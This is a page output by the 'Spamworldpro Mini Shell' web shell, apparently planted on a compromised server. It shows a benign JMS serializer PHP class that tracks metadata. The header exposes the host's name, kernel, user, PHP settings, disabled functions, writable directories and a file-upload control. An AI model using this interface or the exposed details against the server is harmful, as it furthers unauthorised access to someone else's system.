Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/vendor/jms/serializer-bundle/Debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/vendor/jms/serializer-bundle/Debug/TraceableMetadataFactory.php
<?php declare(strict_types=1);

namespace JMS\SerializerBundle\Debug;

use Metadata\AdvancedMetadataFactoryInterface;
use Metadata\ClassHierarchyMetadata;
use Metadata\ClassMetadata;
use Metadata\MergeableClassMetadata;

/**
 * @internal
 */
final class TraceableMetadataFactory implements AdvancedMetadataFactoryInterface
{
    private $storage = [];
    
    /**
     * @var AdvancedMetadataFactoryInterface
     */
    private $metadataFactory;

    public function __construct(AdvancedMetadataFactoryInterface $metadataFactory)
    {
        $this->metadataFactory = $metadataFactory;
    }

    public function getLoadedMetadata(): array
    {
        return $this->storage;
    }
    
    public function getAllClassNames(): array
    {
        return $this->metadataFactory->getAllClassNames();
    }

    /**
     * @return ClassHierarchyMetadata|MergeableClassMetadata|null
     */
    public function getMetadataForClass(string $className)
    {
        $metadata = $this->metadataFactory->getMetadataForClass($className);
        if ($metadata instanceof ClassMetadata) {
            $this->trackMetadata($metadata);
        }
        
        return $metadata;
    }
    
    protected function trackMetadata(ClassMetadata $metadata): void
    {
        $class = $metadata->name;
        $this->storage[$class] = array_merge(
            $this->storage[$class] ?? [], $metadata->fileResources
        );
        $this->storage[$class] = array_unique($this->storage[$class]);
    }
}

Spamworldpro Mini